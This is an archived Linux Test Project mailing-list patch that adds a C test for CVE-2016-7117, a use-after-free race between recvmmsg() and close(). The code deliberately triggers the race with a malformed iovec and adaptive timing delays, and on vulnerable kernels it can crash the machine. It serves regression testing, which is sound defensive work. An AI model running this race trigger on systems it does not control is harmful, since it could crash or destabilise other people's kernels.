From: Richard Palethorpe <rpalethorpe@suse.com>
To: ltp@lists.linux.it
Subject: [LTP] [RFC 1/1] Test for vulnerability cve-2016-7117 in recvmmsg error return path
Date: Fri, 17 Mar 2017 10:39:11 +0100 [thread overview]
Message-ID: <20170317103911.1e9e0e25@linux-v3j5> (raw)
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
testcases/cve/2016-7117/cve-2016-7117.c | 203 ++++++++++++++++++++++++++++++++
1 file changed, 203 insertions(+)
create mode 100644 testcases/cve/2016-7117/cve-2016-7117.c
diff --git a/testcases/cve/2016-7117/cve-2016-7117.c b/testcases/cve/2016-7117/cve-2016-7117.c
new file mode 100644
index 000000000..3625d9924
--- /dev/null
+++ b/testcases/cve/2016-7117/cve-2016-7117.c
@@ -0,0 +1,203 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * CVE-2016-7117
+ *
+ * This tests for a use after free caused by a race between recvmmsg() and
+ * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce
+ * recvmmsg socket syscall) called fput() on the active file descriptor before
+ * checking the error state and setting the socket's error field.
+ *
+ * If one or more messages are received by recvmmsg() followed by one which
+ * fails, the socket's error field will be set. If just after recvmmsg() calls
+ * fput(), a call to close() is made on the same file descriptor there is a
+ * race between close() releasing the socket object and recvmmsg() setting its
+ * error field.
+ *
+ * fput() does not release a file descriptor's resources (e.g. a socket)
+ * immediatly, it queues them to be released just before a system call returns
+ * to user land. So the close() system call must call fput() after it is
+ * called in recvmmsg(), exit and release the resources all before the socket
+ * error is set.
+ *
+ * Usually if the vulnerability is present the test will be killed with a
+ * kernel null pointer exception. However this is not guaranteed to happen
+ * every time. To maximise the chance of the race occuring the test tries to
+ * align the exit times of the final close() and recvmmsg() plus an offset. It
+ * takes a moving average and uses it to adjust a delay by nanosleep().
+ *
+ * The following was used for reference
+ * https://blog.lizzie.io/notes-about-cve-2016-7117.html
+ */
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+#include "tst_timer.h"
+
+// The bug was present in the kernel before recvmmsg was exposed by glibc
+#ifndef __NR_recvmmsg
+#ifdef __i386__
+#define __NR_recvmmsg 337
+#elif defined(__x86_64__)
+#define __NR_recvmmsg 299
+#endif
+#endif
+
+#ifndef CLOCK_MONOTONIC_RAW
+#define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
+#endif
+
+#define MSG "abcdefghijklmnop"
+#define RECV_TIMEOUT 1
+#define ATTEMPTS 0x1FFFFF
+#define TARGET_AVG_TDIFF (-1000.0d)
+#define ALPHA (0.25d)
+
+int socket_fds[2];
+struct mmsghdr msghdrs[2] = {
+ {
+ .msg_hdr = {
+ .msg_iov = &(struct iovec) {
+ .iov_len = sizeof(MSG),
+ },
+ .msg_iovlen = 1
+ }
+ },
+ {
+ .msg_hdr = {
+ .msg_iov = &(struct iovec) {
+ .iov_base = (void *)(0xbadadd),
+ .iov_len = ~0,
+ },
+ .msg_iovlen = 1
+ }
+ }
+};
+char rbuf[sizeof(MSG)] = {0};
+struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
+struct timespec close_exit;
+struct timespec recvmmsg_exit;
+
+void cleanup(void)
+{
+ close(socket_fds[0]);
+ close(socket_fds[1]);
+}
+
+struct timespec exit_time(void)
+{
+ struct timespec t;
+
+ clock_gettime(CLOCK_MONOTONIC_RAW, &t);
+ return t;
+}
+
+void *send_and_close(void *arg)
+{
+ struct timespec *delay = (struct timespec *)arg;
+
+ send(socket_fds[0], MSG, sizeof(MSG), 0);
+ send(socket_fds[0], MSG, sizeof(MSG), 0);
+
+ nanosleep(delay, 0);
+
+ close(socket_fds[0]);
+ close(socket_fds[1]);
+ close_exit = exit_time();
+
+ return 0;
+}
+
+void run(void)
+{
+#ifndef __NR_recvmmsg
+ tst_brk(TCONF, "No definition for __NR_recvmmsg");
+#endif
+ pthread_t pt_send;
+ int i, stat, too_early_count = 0;
+ long tdiff = 0, delay = 0;
+ double avg_tdiff = 0;
+ struct timespec recv_delay = {0}, clos_delay = {0};
+
+ msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
+
+ for (i = 1; i < ATTEMPTS; i++) {
+ if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds))
+ tst_brk(TBROK | TERRNO, "Socket creation failed");
+
+ SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, &clos_delay);
+
+ nanosleep(&recv_delay, 0);
+
+ stat = syscall(__NR_recvmmsg,
+ socket_fds[1], msghdrs, 2, 0, &timeout);
+ recvmmsg_exit = exit_time();
+ if (stat < 0 && errno == EBADF)
+ too_early_count++;
+ else if (stat == 0)
+ tst_res(TWARN, "No messages received, should be one");
+ else if (stat < 0)
+ tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
+
+ SAFE_PTHREAD_JOIN(pt_send, 0);
+
+ tdiff = recvmmsg_exit.tv_nsec - close_exit.tv_nsec;
+ avg_tdiff = ALPHA * tdiff + (1.0d - ALPHA) * avg_tdiff;
+ if (!(i & 0xF)) {
+ if (avg_tdiff < TARGET_AVG_TDIFF)
+ delay++;
+ else if (avg_tdiff > TARGET_AVG_TDIFF)
+ delay--;
+
+ if (delay > 0) {
+ recv_delay.tv_nsec = delay;
+ clos_delay.tv_nsec = 1;
+ } else if (delay < 0) {
+ recv_delay.tv_nsec = 1;
+ clos_delay.tv_nsec = -delay;
+ } else {
+ recv_delay.tv_nsec = 1;
+ clos_delay.tv_nsec = 1;
+ }
+ }
+
+ if (!(i & 0x7FFFF)) {
+ tst_res(TINFO, "Early: %.1f%%, diff: %ldns, avg_tdiff: %.5gns",
+ 100 * too_early_count / (float)i,
+ tdiff, avg_tdiff);
+ tst_res(TINFO, "Receive delay: %ldns, close delay: %ldns",
+ recv_delay.tv_nsec, clos_delay.tv_nsec);
+ }
+ }
+
+ tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+ .tid = "cve-2016-7117",
+ .test_all = run,
+ .cleanup = cleanup,
+ .min_kver = "2.6.33",
+};
--
2.12.0
next reply other threads:[~2017-03-17 9:39 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2017-03-17 9:39 Richard Palethorpe [this message]
2017-03-20 11:23 ` [LTP] [RFC 1/1] Test for vulnerability cve-2016-7117 in recvmmsg error return path Cyril Hrubis
2017-03-20 14:42 ` Richard Palethorpe
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20170317103911.1e9e0e25@linux-v3j5 \
--to=rpalethorpe@suse.com \
--cc=ltp@lists.linux.it \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.